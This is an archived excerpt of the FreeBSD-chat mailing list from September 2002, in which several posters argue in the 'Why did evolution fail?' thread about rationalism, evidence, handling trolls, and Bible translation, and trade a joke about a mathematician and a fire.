swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17n9Pd-0004f5-00; Thu, 05 Sep 2002 20:04:01 -0700 Message-ID: <3D781AE5.7201D210@mindspring.com> Date: Thu, 05 Sep 2002 20:03:01 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209060107.g8617K197960@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > The cause is not germane to the observation that they are broken > > down. > > Stop trying to dodge responsibility. I'm not responsible for your statements, you are. If they break down, it's your responsibility, because you made statements which were capable of breaking down in the first place. If it concerns you that they break down when challenged, then don't hold them forth in forums where they will be challenged: if you never run a test, you never get a negative result. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 20: 5:54 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 568DC37B400 for ; Thu, 5 Sep 2002 20:05:52 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id EC36C43E42 for ; Thu, 5 Sep 2002 20:05:51 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0142.cvx22-bradley.dialup.earthlink.net ([209.179.198.142] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17n9RO-00070U-00; Thu, 05 Sep 2002 20:05:50 -0700 Message-ID: <3D781B52.625A91CF@mindspring.com> Date: Thu, 05 Sep 2002 20:04:50 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209060108.g8618c197988@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > >> > Data is not information. > >> > >> But what does that mean? > > > > Get a book on signal processing, turn to the glossary, and look > > up the word "intelligence", in the context of signal processing. > > A great deal of intelligence can be invested in ignorance, when the > need for illusion is deep. Funny, how the universe chooses to permit itself to be manipulated by those you call ignorant. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 20:13:53 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BD9B037B400 for ; Thu, 5 Sep 2002 20:13:51 -0700 (PDT) Received: from swan.mail.pas.earthlink.net (swan.mail.pas.earthlink.net [207.217.120.123]) by mx1.FreeBSD.org (Postfix) with ESMTP id 60ED043E4A for ; Thu, 5 Sep 2002 20:13:51 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0142.cvx22-bradley.dialup.earthlink.net ([209.179.198.142] helo=mindspring.com) by swan.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17n9Z7-0001aL-00; Thu, 05 Sep 2002 20:13:49 -0700 Message-ID: <3D781D31.9EA99D@mindspring.com> Date: Thu, 05 Sep 2002 20:12:49 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: Joshua Lee , "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209060116.g861GI198090@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > Joshua Lee writes: > > If you're looking for proofs, the math department is down the hall. > > Yes, the sign on the door reads "T. Lambert". ;) I don't consider myself a mathematician by nature. You are, of course, aware of the joke about the engineer, the physicits, the mathematician, and the fire... -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 21:34:42 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AFE5E37B400 for ; Thu, 5 Sep 2002 21:34:25 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id A700643E6E for ; Thu, 5 Sep 2002 21:34:24 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g864YM199240; Thu, 5 Sep 2002 21:34:22 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060434.g864YM199240@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 21:34:17 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> >> Of course not, for you believe it to work and it does...for you. >> >> It's impossible for strict rationalists to see that as they are >> >> "convinced" of something, it becomes real to them. They think they >> >> are perceiving the "true reality", when all they are doing is making >> >> their reality agree with how they are convinced it works. >> > >> > I think you are projecting your own faith. >> >> A tautology, given the above. > > I will believe this if you can convince a rationalist that there is > no gravity, "ti becomes real for them", and you demonstrate for me > a flying rationalist. I almost saw that happen, actually. > I guess this is where we get the phrase "flying in the face of > reason". 8-). Pun-dit. ;) >> > I hereby exclude all posts which defy classification. 8-). >> >> That is how a moderator stifles communication into stagnicity. > > Hardly. It only excludes edge cases. Put the edge a little > further out, and you only exclude cases which are definitely > not edge cases, according to the original definition. This relies on having a reliable litmus test for topicality. You claim you can do this perfectly, I claim you can't. >> > It's not a matter of will. It's a matter of mechanics. >> >> As you believe, so shall it be. > > "Hail, hail, fire and snow..." That works too. You can even believe Shatner can act, with that one. ;) >> > Either the system functions as designed, or it's not a correct >> > system. >> >> What was nature designed for? > > It wasn't designed, as far as we know. But it is a system or a set of systems. How do you account for this? >> > But we aren't talking about just you. We have to include your >> > friend Tim, and people like them >> >> Yes and you are suggesting catering to them and not people like me. > > No, you're the one who suggested catering to trolls. Nope, I am suggesting that one can render them irrelevant with a flick of one's finger onto the "next message" key. > I distinctly recall you suggesting that everyone but the trolls > change their behaviour, in order to deal with trolls. I can cite > the archives, if your memory has failed you. Go for it. >> > Barring evidence to the contrary, the simplest explanation is >> > the correct one. >> >> That's arbitrary. You might as well flip a coin. > > It's not arbitrary. Arbitrary would be if there was no overall > standard for selection. This most definitely is a standard. This standard is neither correct nor incorrect, therefore it is arbitrary. >> >> You've verified each and every one of these "issues", that you >> >> do not have false data? >> > >> > I've verified certain of them; the key ones that I could not >> > accept without my own observation. >> >> But there were those that you could accept and so just accepted? > > Non-key ones are derivational; they don't need verification if they > are nonaxiomatic, and capable of being derived from axioms. What if the derivation is unsound, but you do not detect this at first glance? >> > I have absolutely no problem considering evidence that contradicts >> > my tenets of reality. IF you present some, I will consider it. >> >> Ah, so you will accept only datum which you can label as "evidence". >> So your "blinders" are achieved by labelling something as "not-evidence". > > If you want to call that a "blinder" because you need me to > appear to be wearing blinders for your philosophy to not > dissolve in a puff of logic, I have no problem with you > propping up your reality by choposing your perception of me. I don't need you to do anything but be who you are. My "philosophy" is best served by dissolving in a puff of logic. Finally, my reality almost dictates my perception of you. ;) >> >> It's this kind of out-of-hand dismissing which is why I consider >> >> science a religion, and why I think I'm hangin with the right peeps. >> > >> > I'm not dismissing it out of hand; I am dismissing it after grave >> > consideration. That you don't like the outcome doesn't belittle >> > the effort. >> >> I can't belittle the effort, I haven't seen any. I have seen the >> dismissal. > > Well, by all means, let's belittle everything we've seen! 8-). You seem to be good at it, why don't you start? ;) >> >> There is no "the" answer. The assumption that a "the" answer must >> >> exist and conform to some arbitrary standard is what makes a religion. >> > >> > Yes, there is. There's the specification. The program conforms >> > to the specification, or it does not. It's a nice binary line. >> >> When you constrain and restrict the problem and the specification >> enough, you can get these nice binary lines. This doesn't always >> happen in practice. > > It does in *professional* practice. 8-). So money dictates your reality? >> >> I use quotes to refrain from getting into "semantical" arguments about >> >> what something really "meant", particularly with people that "presume" >> >> there is only one "meaning" to every word or phrase. ;) >> > >> > Use agreed upon meanings, and you won't have this problem. >> >> Just where do you find a definitive source on these? Is agreement by >> majority consensus or by consensus of some arbitrary group of >> cognoscenti? > > Majority, unless the majority consensus is to permit the definition > by consensus of cognoscenti. 8-). Then "bad" means "good", "bunk" means "bad", you can't use very many obscure polysyllabic words, and we still have a lot of work to do to ensure that what we are agreeing on is what everyone is really thinking. >> > You "observe that people who attempt solutions of this manner >> > consistently tend to attempt life orthogonalization". >> > Please provide the raw data, so that everyone else in the class >> > can make the same observations, or come up with their own >> > observations. Alternately, please provie proof by induction. >> > Thanks. >> >> Wow, even more hand waving, and a tennis ball to boot. ;) > > That's not hand-waving, it's a demand for evidence at near gunpoint. > 8-). Contrary to general intuation, waving a gun isn't going to get me to comply with your demands. ;) >> >> > Predictive ability is the measure of correctness. It is >> >> > therefore empirically falsifiable. >> >> >> >> Only to make you look good by finding the right answer later. >> > >> > The goal is a correct answer, not to venerate "Dave Hayes, Good Guesser". >> > 8-). >> >> I thought we were elevating "Terry Lambert, Psychosocial Mathematician"? > > For someone who keeps making phenomenological claims, > you'd think that you wouldn't care where an idea originated, if the > validity of the idea is seperate from its source... You started it. ;) >> >> > Then use atypical methods, without this perceived flaw. >> >> >> >> Like? >> > >> > OK, whatever methods you are using? Not them. >> >> I don't even work with this branch of math much anymore, other than to >> correlate existing data for which I have data that spans the entire >> space. > > Exclusion sets work. All of science is based on the falsification > of theories, based on empirical observations. Honestly, there are so many assumptions you have I don't know where to begin to explain that I dropped those and choose not to think using them as a computational basis. >> >> >> I can assure you that my current border is overcompensatingly >> >> >> impenetrable. ;) > [ ... ] >> > Who's talking about banning? I'm only talking about building >> > an "impenetrable border" between them and the rest of us. >> >> Same thing. > > "Do as I say, not as I do"? Don't even do as I say. Do what yer gonna do. Don't expect me not to comment. Don't take my commments seriously. All truths are false. All falsehoods are true. All sales final. Not responsible for drama. ;) >> >> > and to accept this bald-ass claim of yours without >> >> > any tangible evidence or even a prrof-of-concept implementation >> >> > which exhibits the properties you claim such a solution will have. >> >> >> >> I'll give you a hint: people who need this are exactly the kind of >> >> people who can't co-exist on mailing lists without driving them >> >> to moderation. >> > >> > Prove it. >> >> No. > > Then live with the natural consequence of people behaving as if it's > not true. Already done. > [ ... forcing people to grow is contrary to "natural law" ... ] >> > Well, then, there you go... you've created a Gordian knot, a paradox >> > which can never be resolved, and therefore we can do any damn thing >> > we want, >> >> That doesn't really follow, does it? A paradox is not a license to >> do anything. > > By that same token, neither is a refusal to grow up. If people want to refuse this, there's nothing you nor I can do to force them. Toleration is based on the knowledge that you can handle whatever comes to you, and let others deal with what comes to them. If they ask for help, show them the next message key. >> > I've thought about the troll problem. I have an ultimate solution, >> > which will work. It has unpleasent long term consequences, but >> > ideal short term consequences. I'm debating in order to offer you >> > an opportunity to convince me that the short term consequences are >> > not what I project them to be, and to offer alternative strategies, >> > which you have, so far, failed to offer. >> >> The problem is, because of the type of person you are, a) proving >> anything to you is impossible and b) you won't be able to see >> any alternative stratigies. Your mind is made up, and I'm not going >> to waste time proving the contrary to you...to do so might be >> dishonorable. > > "Proving" something to me is eminently possible. Nope. I'd have to be someone you respect. > Something is "proven" to me if it is the simplest explanation which > fits all the facts. These are local maxima. >> > Well, that'll certainly work, won't it? >> > "We demand that ... " >> >> They are doing a class of things kind of like what you are attempting, >> attempting to control what people do and say. This is far easier to do >> if you don't advertise that you are attempting this but go ahead and >> do your actions anyway. > > I don't attempt to control what people do and say. I don't have the > rights to update the mailing list "blacklists". I am merely stating > that trolls can be effectively squelched, because they are not > emergent. You are claiming that they can not be, because they are > emergent, and propose a "conservation of social energy" model, in > which trolls come into existance as part of kind of an equivalent to > a "social pair-production" process, where for every contributor, > there is an equal and opposite troll. Um, no. ;) Those are your words, not mine. >> > So we are agreed. We'll subtract them. >> >> No we are not agreed, subtracting them wastes time. > > It's not your time being wasted; why do you care if someone else > wastes their time? It's theirs to waste. I don't life or death care if they do, but I would prefer to see them not do it. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Nasrudin arrived at an all-comers horse race mounted on the slowest of oxen. Everyone laughed, an ox cannot run. "But I have seen it, when it was only a calf, running faster than a horse.", said Nasrudin. "So why should it not run faster, now that it is larger?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 21:35:58 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 67ACA37B405 for ; Thu, 5 Sep 2002 21:35:52 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id F402943E42 for ; Thu, 5 Sep 2002 21:35:51 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g864Zn199271; Thu, 5 Sep 2002 21:35:49 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060435.g864Zn199271@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 21:35:44 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> > The cause is not germane to the observation that they are broken >> > down. >> >> Stop trying to dodge responsibility. > > I'm not responsible for your statements, you are. I'm not responsible for your challenges, you are. You asked me why I care whether people "waste time", by the same token I ask you why you care whether people make challengable statements? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< Community (n.) - 1. Irrationals unified by hope of the impossible. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 21:37: 4 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 00D7E37B400 for ; Thu, 5 Sep 2002 21:37:01 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 8638C43E65 for ; Thu, 5 Sep 2002 21:37:00 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g864aw199317; Thu, 5 Sep 2002 21:36:58 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060436.g864aw199317@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 21:36:53 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> >> > Data is not information. >> >> >> >> But what does that mean? >> > >> > Get a book on signal processing, turn to the glossary, and look >> > up the word "intelligence", in the context of signal processing. >> >> A great deal of intelligence can be invested in ignorance, when the >> need for illusion is deep. > > Funny, how the universe chooses to permit itself to be > manipulated by those you call ignorant. It's humoring you. ;) Oh, and I didn't call anyone ignorant. Read carefully. ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< "As long as people continue to try to suppress "wrong" speech, it just adds to the delusion that one can rely on what people say because if they were lying, "someone" would stop them. That's simply not true. It's never been true. It's never going to be true. *You* have to take personal responsibility for what *you* believe, and that's all there is to it." -Russ Allbery To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 21:38: 7 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id BBD3737B400 for ; Thu, 5 Sep 2002 21:38:03 -0700 (PDT) Received: from directvinternet.com (dsl-65-185-140-165.telocity.com [65.185.140.165]) by mx1.FreeBSD.org (Postfix) with ESMTP id B8E0A43E4A for ; Thu, 5 Sep 2002 21:38:02 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from Tolstoy.home.lan (localhost [127.0.0.1]) by directvinternet.com (8.12.5/8.12.5) with ESMTP id g864c1Gd092409; Thu, 5 Sep 2002 21:38:02 -0700 (PDT) (envelope-from nwestfal@directvinternet.com) Received: from localhost (nwestfal@localhost) by Tolstoy.home.lan (8.12.5/8.12.5/Submit) with ESMTP id g864bu1l092406; Thu, 5 Sep 2002 21:37:57 -0700 (PDT) X-Authentication-Warning: Tolstoy.home.lan: nwestfal owned process doing -bs Date: Thu, 5 Sep 2002 21:37:56 -0700 (PDT) From: "Neal E. Westfall" X-X-Sender: nwestfal@Tolstoy.home.lan To: George Reid Cc: Joshua Lee , , , Subject: Re: Why did evolution fail? In-Reply-To: <20020906013554.A42842@FreeBSD.org> Message-ID: <20020905211353.W92353-100000@Tolstoy.home.lan> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org On Fri, 6 Sep 2002, George Reid wrote: > However, the word "hell" occurs 53 times in the King James Bible (31 of > these are in the Old Testament). These are a series of mistranslations > which happened to suit the doctrine that the early Church wished to teach > for its own purposes (indeed, as the above suited my own purposes) of > "saving souls" (which, one would assume, is synonymous with "making > money"). This was achieved by simply bludgeoning the ignorant population > into acceptance based on the works of many educated but ultimately corrupt > scholars. The myth of 'hell' is perpetuated through the ignorance of > modern Christians (very few of whom read Greek and/or Hebrew) who are > unwilling to accept the plain fact that it simply does not exist in the > Bible. George, Let me give you a few reasons why I find your claims unconvincing. 1) I am not easily taken with conspiracy theories. It would take some awfully extraordinary evidence to convince me of your claims about "the early Church", as if it were a monolithic entity as you seem to think. 2) The litany of passages you offered as personally objectionable to you indicate that you are hardly an unbiased interpreter. Why you would poison your own well like that before making your controversial claims, one can only speculate. 3) While being familiar with Greek and Hebrew is certainly a prerequisite to successfully arguing your case, "I know Greek and Hebrew, so there!" is hardly a compelling argument. I don't buy it. 4) You are going to have to offer some *extremely* compelling evidence that *your* interpretation of the passages in question is the correct interpretation over against the great diversity of scholars, all of whom are not even Christians, who have translated the original Hebrew and Greek into many different languages. We have numerous English translations, not all of which even come from the same manuscript traditions, yet they all agree on the passages you claim are in error. 5) If you think you have a case, please present your arguments, instead of making grandiose assertions with little to back it up besides your claim to know Hebrew and Greek. If that is the case, present your arguments so that they can be scrutinized. You'll have to excuse me for not just taking your word for it. Good day, sir. Neal To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Thu Sep 5 21:38:35 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6F72F37B400 for ; Thu, 5 Sep 2002 21:38:33 -0700 (PDT) Received: from hokkshideh2.jetcafe.org (hokkshideh2.jetcafe.org [64.239.180.8]) by mx1.FreeBSD.org (Postfix) with ESMTP id 133A243E42 for ; Thu, 5 Sep 2002 21:38:33 -0700 (PDT) (envelope-from dave@jetcafe.org) Received: from hokkshideh2.jetcafe.org (localhost [127.0.0.1]) by hokkshideh2.jetcafe.org (8.11.6/8.11.6) with ESMTP id g864cT199370; Thu, 5 Sep 2002 21:38:29 -0700 (PDT) (envelope-from dave@hokkshideh2.jetcafe.org) Message-Id: <200209060438.g864cT199370@hokkshideh2.jetcafe.org> X-Mailer: exmh version 2.5 07/13/2001 with nmh-1.0.4 To: Terry Lambert Cc: Joshua Lee , "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Thu, 05 Sep 2002 21:38:24 -0700 From: Dave Hayes Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Terry Lambert writes: > Dave Hayes wrote: >> Joshua Lee writes: >> > If you're looking for proofs, the math department is down the hall. >> >> Yes, the sign on the door reads "T. Lambert". ;) > > I don't consider myself a mathematician by nature. Um, non-mathematicians don't spend a lot of their internet time talking about elliptic curves and modular forms. ;) > You are, of course, aware of the joke about the engineer, the > physicits, the mathematician, and the fire... Which one? ------ Dave Hayes - Consultant - Altadena CA, USA - dave@jetcafe.org >>> The opinions expressed above are entirely my own <<< The things which hurt, instruct. -Ben Franklin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 1:38:10 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 7CEC937B41B for ; Fri, 6 Sep 2002 01:38:04 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id AA2ED4434D for ; Fri, 6 Sep 2002 01:32:39 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0047.cvx40-bradley.dialup.earthlink.net ([216.244.42.47] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nEXM-0002s6-00; Fri, 06 Sep 2002 01:32:20 -0700 Message-ID: <3D7867D7.D341DC87@mindspring.com> Date: Fri, 06 Sep 2002 01:31:19 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209060435.g864Zn199271@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > Terry Lambert writes: > > Dave Hayes wrote: > >> > The cause is not germane to the observation that they are broken > >> > down. > >> > >> Stop trying to dodge responsibility. > > > > I'm not responsible for your statements, you are. > > I'm not responsible for your challenges, you are. You asked me > why I care whether people "waste time", by the same token I ask > you why you care whether people make challengable statements? Thats an unrealted contextual thread. However, I will answer it in this context for you, even though you can't demonstrate relevence in this context. The answer is that it is unethical to not care. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 1:53:28 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 09F6437B400 for ; Fri, 6 Sep 2002 01:53:26 -0700 (PDT) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9F0A043E72 for ; Fri, 6 Sep 2002 01:53:25 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from pool0047.cvx40-bradley.dialup.earthlink.net ([216.244.42.47] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nEre-00073z-00; Fri, 06 Sep 2002 01:53:18 -0700 Message-ID: <3D786CC1.BC2AAE22@mindspring.com> Date: Fri, 06 Sep 2002 01:52:17 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: Joshua Lee , "Neal E. Westfall" , chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209060438.g864cT199370@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.org Dave Hayes wrote: > > I don't consider myself a mathematician by nature. > > Um, non-mathematicians don't spend a lot of their internet time > talking about elliptic curves and modular forms. ;) A knowledge of mathematics doesn't make one a mathematician; Algebra and Geometry are two of the five liberal arts. 8-). > > You are, of course, aware of the joke about the engineer, the > > physicits, the mathematician, and the fire... > > Which one? A physicist, mathematician, and engineer are up for the same job at a University, teaching problem solving to incoming freshman who had the misfortune to have been educated in California public schools. "But how shall we test them?" asks a member of the committee; they debate long and hard, ad come up with a test. They invite each to stay at the provost's cottage on campus over nights, to familiarize themselves with the campus. All agree to the visit, and the visits are scheduled for consecutive nights. The first day, the engineer arrives, and the day goes as planned. At night, the engineer goes to sleep. At 3AM in the morning, a ruckus outside the window wakes him up, and there, directly below the wind, he sees a fire in one of the trash drums. The engineer grabs the extinguisher, runs out the door, and empties it into the can, extinguishing the fire, throws the now empty extinguisher into the trash can, returns to his room, and goes back to sleep. The next day, the physicist arrives, and much the same situation occurs. The physicist sees a fire in one of the trash drums, thinks a bit, grabs the extinguisher, runs out, and uses exactly as much of the contents of the extinguisher as necessary to put out the fire. He returns to his room, hangs the partially discharged extinguisher back on the wall, and goes back to sleep. The final day, the mathematician arrives, and the situation is once again the same. The mathematician sees the fire, looks over at the wall, sees the extinguisher, goes over to the desk, and fills three pages with equations. Finally satisfied at having arrived at the correct answer, he straightens the papers, and goes back to sleep. -- Terry To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-chat" in the body of the message From owner-freebsd-chat Fri Sep 6 2:19:48 2002 Delivered-To: freebsd-chat@freebsd.org Received: from mx1.FreeBSD.org (mx1.FreeBSD.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 984F137B400 for ; Fri, 6 Sep 2002 02:19:38 -0700 (PDT) Received: from soulshock.mail.pas.earthlink.net (soulshock.mail.pas.earthlink.net [207.217.120.130]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0D20343E42 for ; Fri, 6 Sep 2002 02:19:38 -0700 (PDT) (envelope-from tlambert2@mindspring.com) Received: from avocet.mail.pas.earthlink.net (avocet.mail.pas.earthlink.net [207.217.120.50]) by soulshock.mail.pas.earthlink.net (8.11.6+Sun/8.11.6) with ESMTP id g868WAI06529 for ; Fri, 6 Sep 2002 01:32:10 -0700 (PDT) Received: from pool0047.cvx40-bradley.dialup.earthlink.net ([216.244.42.47] helo=mindspring.com) by avocet.mail.pas.earthlink.net with esmtp (Exim 3.33 #1) id 17nEVi-0001tg-00; Fri, 06 Sep 2002 01:30:38 -0700 Message-ID: <3D786771.C56D5EAB@mindspring.com> Date: Fri, 06 Sep 2002 01:29:37 -0700 From: Terry Lambert X-Mailer: Mozilla 4.79 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Dave Hayes Cc: chat@FreeBSD.ORG Subject: Re: Why did evolution fail? References: <200209060434.g864YM199240@hokkshideh2.jetcafe.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-chat@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: 